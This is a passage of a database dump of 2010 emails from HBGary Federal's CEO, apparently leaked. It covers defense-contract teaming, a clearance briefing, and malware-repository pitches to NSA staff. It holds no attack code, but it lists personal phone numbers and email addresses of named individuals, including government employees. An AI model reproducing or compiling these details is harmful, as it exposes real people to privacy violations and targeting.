Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14612,'aaron_hbgary_com/14612.html'),(4126,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002181.M101334P3547Q4126.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Thanks Mike.AaronOn Mar 16, 2010, at 9:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Announcement slipped til March 31&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 4:52 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Just checking in. &nbsp;Last time we talked we didn\'t talk about NANA. &nbsp;If you win are you guys going to need any staffing help?&nbsp;Have a good weekend.&nbsp;Aaron&nbsp;On Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14900,'aaron_hbgary_com/14900.html'),(4127,'2010-03-17','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297002181.M337240P3547Q4127.eml','aaron@hbgary.com','Alarm - David Luber Meeting','March 15, 2010 1:00 PM : David Luber Meeting&nbsp;This is the ANO meeting. &nbsp; \r\n',7250,'aaron_hbgary_com/7250.html'),(4128,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002181.M532951P3547Q4128.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Antacid','Good to talk with you today.  A few comments and a question.  Question first.\r\n\r\nIs it possible to submit me for a re-issue of my badge so I can easily get access into the bldg and folks inside?  The are multiple \"customers\" for the COIN group that I would like to get a feeling from as far as direction, requirements, etc.\r\n\r\nComments based on our discussion today.  The SAIC teaming idea sounds interesting.  At the end of the day what piece of that contract are you looking for, is it just the development piece?  If so are they willing to give that piece to you since they are so weak in it?  If so then maybe being a sub would be terrible in order to assure a win.  I would definitely want to know who they have filling marketing and advertising role, if anyone, and if they have other developers, who are they?\r\n\r\nOn the risky side of going it as a prime without SAIC here is what I see as necessary to tell a winning story.\r\n1. Commercial grade marketing and advertising (foreign experience a huge plus - Leoni Industries or like).\r\n2. MOE - akamai, gartner, or combination.  The thing you have to be able to measure is the \"stickiness\" of the message.  More to talk about here.\r\n3. Commercial grade (or close to it) development especially mobile.  I think we can tell a better mobile story than anyone else, but a strong partner would help).\r\n4.  Infrastructure (Improve ravenwings architecture, maybe use Abraxis, HP-EDS, or something else we concoct).  I think we can tell the best story here.\r\n5. OPS especially operators familiar with that organization if possible.  This will be tough to beat SAIC unless we get a strong partner.  Abraxis people are seen as higher quality but more expensive.  SAIC people are seen as competent and better priced.\r\n6.  Language and cultural relevance.  This is definitely important and the more I think about it I think you can paint a very positive story here because you have them and they have been doing media for quite some time.  You don\'t need an army of them, just enough to help satisfy their gaps, yours and maybe a few adds could be the winner.  I actually have a few SAIC native arabs I know that we can try and get if it gets to that.\r\n\r\nA few pluses to the story you can tell.  The current SCIF you own and just lease to NG.\r\n\r\nAs an option I would use the commercial idea we talked about as a priced option or something like it.\r\n\r\nJust a few notes.  Let me know what the next step is.  Another thing I think we need to do is come up with a few gems to get them interested, things we could do if on contract.  We were always known for coming up with the creative ideas for the shop, when Ted and I started doing other things it was commented that capability had gone away.  The current NG team is technicians only, no creativity.\r\n\r\nBTW, we have already hired two people from the existing team and will hire more as we get work that fits the skill sets.  Eric Hallam, who is very well liked by the customer is being hired by Lawrence Hill in COS.\r\n\r\nAaron\r\n\r\nOn Mar 15, 2010, at 9:49 AM, Clair, Chris (TASC) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> We have not met with Abraxis yet.  I\'ll pass on the RavenWing notion to\r\n> John.\r\n> \r\n> John - Do we have any contacts at RavenWing?\r\n> \r\n> Thanks,\r\n> \r\n> Chris \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, March 14, 2010 12:09 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Ted Vera\r\n> Subject: Antacid\r\n> \r\n> Hey chris,\r\n> \r\n> Have you all talked with abraxis, and if so how did it go?  Might be a\r\n> good idea to talk with RavenWing as another potential infrastructure\r\n> capability.  We might be able to improve their existing capability.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2912,'aaron_hbgary_com/2912.html'),(4129,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002181.M717576P3547Q4129.eml','\"Willson, Jonathan G (TASC Inc)\" <Jonathan.G.Willson@tasc.com>','Re: Security Briefing','Thanks Jonathan. &nbsp;I got briefed today.I have a favor to ask. &nbsp;Can you forward a visit CERT to Lockheed Martin. &nbsp;They are the PM for the UNO contract, which HBGary is an authorized bidder. &nbsp;This has relevance for our existing work on COIN.Security POC - Martha Chapman, Voice 703-466-3325, Unclas FAX 703-466-3340,SecureFAX 703-466-3321.Thank You,AaronOn Mar 10, 2010, at 10:22 AM, Willson, Jonathan G (TASC Inc) wrote:Not a problem. when you arrive, have a seat in the lobby, and at 8:30 the someone will come out to escort you to the briefing.&nbsp;Jonathan&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 10, 2010 9:45 AMTo:&nbsp;Willson, Jonathan G (TASC)Subject:&nbsp;Re: Security Briefing&nbsp;I would like to do it next Tuesday if possible.&nbsp;ThanksAaronFrom my iPhoneOn Mar 10, 2010, at 9:31 AM, \"Willson, Jonathan G (TASC Inc)\" &lt;Jonathan.G.Willson@tasc.com&gt; wrote:Aaron Barr,I have received notification that your clearance request has been approved. You will need to attend our security briefing for indoctrination in to your SCI accesses. This briefing is offered every week at the following times:Tuesday, 8:30 amThursday, 8:30 amPlease let me know by 2:00 pm the day before the scheduled briefing which date will work best for you (reply all). All the briefings are held at 4801 Stonecroft Blvd.Jonathan WillsonPersonnel SecurityNorthrop Grumman TASC4801 Stonecroft Blvd.Chantilly, VA 20151703.653.5779 (phone)703.633.8460 (fax)\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15270,'aaron_hbgary_com/15270.html'),(4130,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002183.M291779P3547Q4130.eml','\"Racz, James M\" <james.m.racz@lmco.com>','Re: Uno - HBGary capabilities brief','Thanks Jim.\r\n\r\nAttached is a draft of a paper that describes the use of our RECON technology to improve the software vulnerability assessment and exploit development process.  I would love to get your organizations feedback on what resonates and what areas you think would be most interesting for further exploration.\r\n\r\nAaron\r\n\r\n',5316,'aaron_hbgary_com/5316.html'),(4131,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002183.M537034P3547Q4131.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Hi Matt,\r\n\r\nWould you still like us to come up and discuss DDNA and some of our other capabilities?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n\r\n> Next week is pretty booked at this point.\r\n> \r\n> How about the first week of march (other than 1 March)?\r\n> \r\n> Afternoons are good at this point.\r\n> \r\n> Matt \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 18, 2010 9:11 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> How about next Thursday?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\"  wrote:\r\n> \r\n>> What dates/times are good for you?\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> Yes we can come up.  When are some good dates?\r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>> wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> I am interested.\r\n>>> \r\n>>> What is the best way to meet?\r\n>>> \r\n>>> Can you come here?\r\n>>> \r\n>>> Is this related to Responder Pro?\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> Dave/Barry/Matt,\r\n>>> \r\n>>> I am very interested to discuss our different efforts/capabilities \r\n>>> related to malware genomes/catalogs.  Please let me know when \r\n>>> convenient to get together.\r\n>>> \r\n>>> Thank you,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>> \r\n>>>> Ralph,\r\n>>>> \r\n>>>>  Thanks for reminding me about this one.\r\n>>>> \r\n>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>> \r\n>>>> Vergle\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>> Parkes;\r\n>>> \r\n>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>> Subject: RE: Malware Genome and Attribution\r\n>>>> \r\n>>>> Vergle,\r\n>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>> Aaron\r\n>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>> Have\r\n>>>> not seen any response since this was raised in early December.\r\n>>>> \r\n>>>> Also, pls see recent news article below:\r\n>>>> \r\n>>>> \'Cyber Genome Project\': The military scientists want to establish a \r\n>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>> investigatory technologies\".\r\n>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>> cyber_genome_project/\r\n>>>> \r\n>>>> VR,\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>> To: Gipson, Vergle\r\n>>>> Subject: FW: Malware Genome and Attribution\r\n>>>> \r\n>>>> Vergle:\r\n>>>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n> \r\n>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>> (which\r\n>>> \r\n>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>> Malicious\r\n>>> \r\n>>>> Code Catalog efforts).\r\n>>>> \r\n>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>>> was\r\n>> \r\n>>>> holding back on responding til he saw your comments/guidance.\r\n>>>> \r\n>>>> \r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>> To: Ghent, Ralph\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Hi Ralph,\r\n>>>> \r\n>>>> Happy New Year.\r\n>>>> \r\n>>>> I am still very interested to talk to folks there about the \r\n>>>> Malicious\r\n>> \r\n>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>> interest on that side.  As I mentioned we have recently partnered \r\n>>>> with\r\n>>> \r\n>>>> Palantir and are working on a partnership with Netwitness and maybe \r\n>>>> 1\r\n>> \r\n>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>> something really substantial can be put together.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>> Respectfully,\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>> To: \'Aaron Barr\'\r\n>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Aaron,\r\n>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>> briefly at Leesburg.\r\n>>>>> \r\n>>>>> I have pushed your info to those within my Agency who are working \r\n>>>>> with\r\n>>>> \r\n>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>>> next\r\n>>> \r\n>>>>> week, no one has reached-out to you, pls email me again and I will \r\n>>>>> follow up with them.\r\n>>>>> \r\n>>>>> Sincerely,\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>> To: Ghent, Ralph\r\n>>>>> Subject: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Ralph,\r\n>>>>> \r\n>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>> Malware\r\n>>>> \r\n>>>>> detection, genomes, and attribution.  I am very new to my current \r\n>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>> Technical\r\n>> \r\n>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>>> ago\r\n>> \r\n>>>>> if we can make headway against attribution I would have said no, \r\n>>>>> not\r\n>> \r\n>>>>> until we have better situational awareness, network \r\n>>>>> characterization,\r\n>>> \r\n>>>>> CND/CNE integration, etc.\r\n>>>>> \r\n>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>> where\r\n>> \r\n>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>> starting to make associations of authorship across malware.  I \r\n>>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>>> had\r\n>>>> an aha moment.\r\n>>>>> But I knew that other capabilities needed to be added if we were \r\n>>>>> seriously going to take a crack at attribution.\r\n>>>>> \r\n>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>>>>> would love to talk with them and combine efforts if appropriate to \r\n>>>>> develop the capability that is needed to help with this challenge.\r\n>>>>> \r\n>>>>> Thank You,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> 301.652.8885 x117\r\n>>>>> 719.510.8478\r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6944,'aaron_hbgary_com/6944.html'),(4132,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002183.M852197P3547Q4132.eml','dpluber@nsa.gov,dpluber@nsa.gov','Malware Repository and Feed processeor','Dave,\r\n\r\nThank you for having us in to brief yesterday.  I want to clarify your interest in a few things we discussed, specifically the malware repository and feed processor.\r\n\r\n1. Would you like some technical specifications and rough costs for the malware repository, feed processor, and portal, for planning purposes?  If you were to want to integrate this into your operations, would you want it standalone or with some small number of bodies to maintain and train?  These folks could help to develop classified traits, maintain the repository, aid in analysis using HBGary tools such as Responder and REcon.\r\n2. I was re-briefed today.  Would you like to set up a follow-on conversation at a different level?  Thinking this might help me better understand what your specifically looking for so I can help drive what we could deliver to you.\r\n\r\nA few other notes for thought.  We have an existing capability that we are \"productizing\" called the Threat Management Center.  It is a fully functioning capability today but not yet packaged/hardened in a way that we can directly sell it to customers.  This is a combination of the repository, feed processor, modified DDNA, and some other automation to drive analysis reports on malware.  We have also partnered with Palantir.  Using the repository and other information we gather during a threat investigation, we are building threat maps in Palantir to help mature our understanding of particular threats or operations and their components (actors, C&C, web artifacts, network activity, malware internals).  Next step is to begin to correlate malware artifacts, traits, traits sequences, dependencies, to drive linkages between operations and the malware used.  I think these maturing scenarios could greatly expand our ability to understand and track the threats as well as provide an increase in net defense capability (most SOCs/CERTs only have a few good analysts and the rest are average to new) by integrating the stored threat maps into the incident handling and analysis process.\r\n\r\nThank you,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',15119,'aaron_hbgary_com/15119.html'),(4133,'2010-03-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002184.M285388P3547Q4134.eml','\"Aaron Barr\" <aaron@hbgary.com>','Info from last night','\r\n\r\n\r\n\r\n\r\nInfo from last night\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat were we talking about on the phone last night that I asked you to email me about?&nbsp; I have already forgot but I know it was something that I wanted to follow-up on.&nbsp;&nbsp; That&#8217;s why I asked you to email me about it.&nbsp; What was it?\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',7445,'aaron_hbgary_com/7445.html'),(4134,'2010-03-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297002184.M493455P3547Q4135.eml','\"Aaron Barr\" <aaron@hbgary.com>','Sid Fuchs has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Sid are now connected.\r\n\r\n \r\n   \r\n   View Sid\'s profile to:\r\n     \r\n       Download Sid\'s current contact information\r\n       Write a recommendation for Sid\r\n       Find opportunities through Sid\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/8748708/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',7228,'aaron_hbgary_com/7228.html'),(4135,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002184.M72258P3547Q4133.eml','shane.sims@us.pwc.com,shane.sims@us.pwc.com','Re: PwC Statement Of Quals','Hi Shane,Sorry for delay. &nbsp;Yes it is. &nbsp;We have been chasing a few long-term proposals and getting many other things up and running so we have been strapped for cycles. &nbsp;But we are definitely still interested. &nbsp;It is going to be a few more weeks before we get free of our current efforts and then we will readdress. &nbsp;I know we owe you some documentation.Aaron BarrCEOHBGary Federal Inc.On Mar 4, 2010, at 11:04 AM, shane.sims@us.pwc.com wrote:\r\nGood morning Gents,\r\nIs the interest still there on your\r\npart?\r\n\r\nRegards, Shane___________________________________________________________________________________________________________\r\nShane Sims, Director\r\n| Advisory - Forensic Services | PricewaterhouseCoopers | Mobile:\r\n202 262 9735 | shane.sims@us.pwc.com\r\nInvestigations - Crisis Management\r\n- Risk Assessments:\r\nCybercrime &amp; Data Theft | Insider Threat | Fraud &amp; Abuse | Money\r\nLaundering | Advanced Due Diligence | FCPA \r\nThe information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.  Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited.   If you received this in error, please contact the sender and delete the material from any computer.  PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',964,'aaron_hbgary_com/964.html'),(4136,'2010-03-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002184.M761014P3547Q4136.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Info from last night','\r\n\r\n\r\n\r\n\r\nRE: Info from last night\r\n\r\n\r\n\r\n\r\nWas is it a customer organization or activity?\r\n\r\nGreg is sending papers to you for me?\r\n\r\nI asked about getting the repository database?\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, March 17, 2010 6:08 AM\r\nTo: Aaron Barr\r\nSubject: Info from last night\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat were we talking about on the phone last night that I asked you to email me about?&nbsp; I have already forgot but I know it was something that I wanted to follow-up on.&nbsp;&nbsp; That&#8217;s why I asked you to email me about it.&nbsp; What was it?\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',3147,'aaron_hbgary_com/3147.html'),(4137,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002188.M779633P3547Q4137.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Info from last night','Crap.  There was an idea about an AI botnet.  We talked about hbgarys tmc and the ano.  Was it about JCD and using the repository portal as a better tool for external and internal comms?\r\nAaronFrom my iPhoneOn Mar 17, 2010, at 6:07 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat were we talking about on the phone last night that I asked you to email me about?  I have already forgot but I know it was something that I wanted to follow-up on.   That’s why I asked you to email me about it.  What was it?\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',4094,'aaron_hbgary_com/4094.html'),(4138,'2010-03-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002188.M962049P3547Q4138.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Info from last night','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.&nbsp; Sucks to get old.\r\n\r\nAI Botnet.&nbsp; That was an additional Greg idea.&nbsp; It there a\r\nwriteup on that.&nbsp; I remember saying that as a non-botnet, it could be\r\ninteresting.&nbsp; TMC and ANO I remember.&nbsp; What was JCD?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 6:37 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Info from last night\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCrap. &nbsp;There was an idea about an AI botnet. &nbsp;We\r\ntalked about hbgarys tmc and the ano. &nbsp;Was it about JCD and using the\r\nrepository portal as a better tool for external and internal comms?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 17, 2010, at 6:07 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWhat were we talking\r\nabout on the phone last night that I asked you to email me about?&nbsp;\r\nI have already forgot but I know it was something that I wanted to follow-up\r\non.&nbsp;&nbsp; That&#8217;s why I asked you to email me about it.&nbsp; What was it?\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9701,'aaron_hbgary_com/9701.html'),(4139,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002189.M147700P3547Q4139.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Info from last night','Jcd is the current database used by government to communicate about incidents.  Ngis has the contract.  It sucks and there are efforts to replace it.  Dave Luber was talking about the TMC portal being a means to communicate about malware between orgs.\r\nFrom my iPhoneOn Mar 17, 2010, at 6:39 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOk.  Sucks to get old.\r\n\r\nAI Botnet.  That was an additional Greg idea.  It there a\r\nwriteup on that.  I remember saying that as a non-botnet, it could be\r\ninteresting.  TMC and ANO I remember.  What was JCD?\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 